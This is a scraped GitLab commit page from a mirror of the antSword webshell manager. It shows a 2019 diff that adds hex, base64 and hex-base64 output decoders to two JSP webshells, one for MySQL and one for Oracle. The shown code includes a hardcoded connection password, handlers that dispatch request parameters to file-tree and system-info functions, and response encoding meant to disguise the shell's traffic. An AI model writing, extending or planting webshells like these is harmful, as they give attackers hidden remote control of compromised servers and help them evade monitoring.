Skip to content
Projects
Groups
Snippets
Help
Loading...
Help
Submit feedback
Contribute to GitLab
Sign in / Register
Toggle navigation
A
antSword
Project
Project
Details
Activity
Releases
Cycle Analytics
Repository
Repository
Files
Commits
Branches
Tags
Contributors
Graph
Compare
Charts
Issues
0
Issues
0
List
Board
Labels
Milestones
Merge Requests
0
Merge Requests
0
CI / CD
CI / CD
Pipelines
Jobs
Schedules
Charts
Wiki
Wiki
Snippets
Snippets
Members
Members
Collapse sidebar
Close sidebar
Activity
Graph
Charts
Create a new issue
Jobs
Commits
Issue Boards
Open sidebar
HuangJunbo
antSword
Commits
b8d7371e
Commit
b8d7371e
authored
May 31, 2019
by
Medicean
Browse files
Options
Browse Files
Download
Email Patches
Plain Diff
(Other: Script) jsp_custom_script_for_oracle 解码器支持
parent
b5d08cd6
Changes
2
Hide whitespace changes
Inline
Side-by-side
Showing
2 changed files
with
37 additions
and
10 deletions
+37
-10
jsp_custom_script_for_mysql.jsp
shells/jsp_custom_script_for_mysql.jsp
+3
-3
jsp_custom_script_for_oracle.jsp
shells/jsp_custom_script_for_oracle.jsp
+34
-7
No files found.
shells/jsp_custom_script_for_mysql.jsp
View file @
b8d7371e
...
...
@@ -19,7 +19,7 @@
jdbc:mysql://localhost/test?user=root&password=123456
注意:以上是两行
4. 本脚本中 encoder
与 AntSword 添加 Shell 时选择的 encoder 要一致,如果选择 default 则需要将 encoder
值设置为空
4. 本脚本中 encoder
/decoder 与 AntSword 添加 Shell 时选择的 encoder/decoder 要一致,如果选择 default 则需要将
值设置为空
已知问题:
1. 文件管理遇到中文文件名显示的问题
...
...
@@ -353,7 +353,7 @@ ChangeLog:
return
fileHexContext
;
}
public
static
String
asenc
(
String
str
,
String
decode
){
String
asenc
(
String
str
,
String
decode
){
if
(
decode
.
equals
(
"hex"
)
||
decode
==
"hex"
){
String
ret
=
""
;
for
(
int
i
=
0
;
i
<
str
.
length
();
i
++)
{
...
...
@@ -465,7 +465,7 @@ ChangeLog:
sb.append(SysInfoCode(request));
}
} catch (Exception e) {
sb.append("
ERROR
" + "
:
//" + e.toString());
sb.append("
ERROR
" + "
:
//
" + e.toString());
}
output
.
append
(
asenc
(
sb
.
toString
(),
decoder
));
output
.
append
(
"|"
+
"<-"
);
...
...
shells/jsp_custom_script_for_oracle.jsp
View file @
b8d7371e
...
...
@@ -21,7 +21,7 @@
password
注意:以上是4行
4. 本脚本中 encoder
与 AntSword 添加 Shell 时选择的 encoder 要一致,如果选择 default 则需要将 encoder
值设置为空
4. 本脚本中 encoder
/decoder 与 AntSword 添加 Shell 时选择的 encoder/decoder 要一致,如果选择 default 则需要将
值设置为空
已知问题:
1. 文件管理遇到中文文件名显示的问题
...
...
@@ -32,11 +32,16 @@ ChangeLog:
<%!
// ################################################
String
Pwd
=
"ant"
;
//连接密码
//
数据编码
3 选 1
//
编码器
3 选 1
String
encoder
=
""
;
// default
// String encoder = "base64"; //base64
// String encoder = "hex"; //hex(推荐)
String
cs
=
"UTF-8"
;
// 编码方式
String
cs
=
"UTF-8"
;
// 字符编码
// 解码器 4 选 1
String
decoder
=
""
;
// String decoder = "base64"; // base64 中文正常
// String decoder = "hex"; // hex 中文可能有问题
// String decoder = "hex_base64"; // hex(base64) // 中文正常
// ################################################
String
EC
(
String
s
)
throws
Exception
{
...
...
@@ -332,6 +337,26 @@ ChangeLog:
return
fileHexContext
;
}
String
asenc
(
String
str
,
String
decode
){
if
(
decode
.
equals
(
"hex"
)
||
decode
==
"hex"
){
String
ret
=
""
;
for
(
int
i
=
0
;
i
<
str
.
length
();
i
++)
{
int
ch
=
(
int
)
str
.
charAt
(
i
);
String
s4
=
Integer
.
toHexString
(
ch
);
ret
=
ret
+
s4
;
}
return
ret
;
}
else
if
(
decode
.
equals
(
"base64"
)
||
decode
==
"base64"
){
String
sb
=
""
;
sun
.
misc
.
BASE64Encoder
encoder
=
new
sun
.
misc
.
BASE64Encoder
();
sb
=
encoder
.
encode
(
str
.
getBytes
());
return
sb
;
}
else
if
(
decode
.
equals
(
"hex_base64"
)
||
decode
==
"hex_base64"
){
return
asenc
(
asenc
(
str
,
"base64"
),
"hex"
);
}
return
str
;
}
String
decode
(
String
str
)
{
byte
[]
bt
=
null
;
try
{
...
...
@@ -377,6 +402,7 @@ ChangeLog:
response
.
setContentType
(
"text/html"
);
request
.
setCharacterEncoding
(
cs
);
response
.
setCharacterEncoding
(
cs
);
StringBuffer
output
=
new
StringBuffer
(
""
);
StringBuffer
sb
=
new
StringBuffer
(
""
);
try
{
String
funccode
=
EC
(
request
.
getParameter
(
Pwd
)
+
""
);
...
...
@@ -385,7 +411,7 @@ ChangeLog:
String
z2
=
decode
(
EC
(
request
.
getParameter
(
"z2"
)
+
""
),
encoder
);
String
z3
=
decode
(
EC
(
request
.
getParameter
(
"z3"
)
+
""
),
encoder
);
String
[]
pars
=
{
z0
,
z1
,
z2
,
z3
};
sb
.
append
(
"
-
>
" + "
|
");
output
.
append
(
"
-
>
" + "
|
");
if (funccode.equals("
B
")) {
sb.append(FileTreeCode(pars[1]));
...
...
@@ -423,8 +449,9 @@ ChangeLog:
sb.append(SysInfoCode(request));
}
} catch (Exception e) {
sb.append("
ERROR
" + "
:
//" + e.toString());
sb.append("
ERROR
" + "
:
//
" + e.toString());
}
sb
.
append
(
"|"
+
"<-"
);
out
.
print
(
sb
.
toString
());
output
.
append
(
asenc
(
sb
.
toString
(),
decoder
));
output
.
append
(
"|"
+
"<-"
);
out
.
print
(
output
.
toString
());
%>
Write
Preview
Markdown
is supported
0%
Try again
or
attach a new file
Attach a file
Cancel
You are about to add
0
people
to the discussion. Proceed with caution.
Finish editing this message first!
Cancel
Please
register
or
sign in
to comment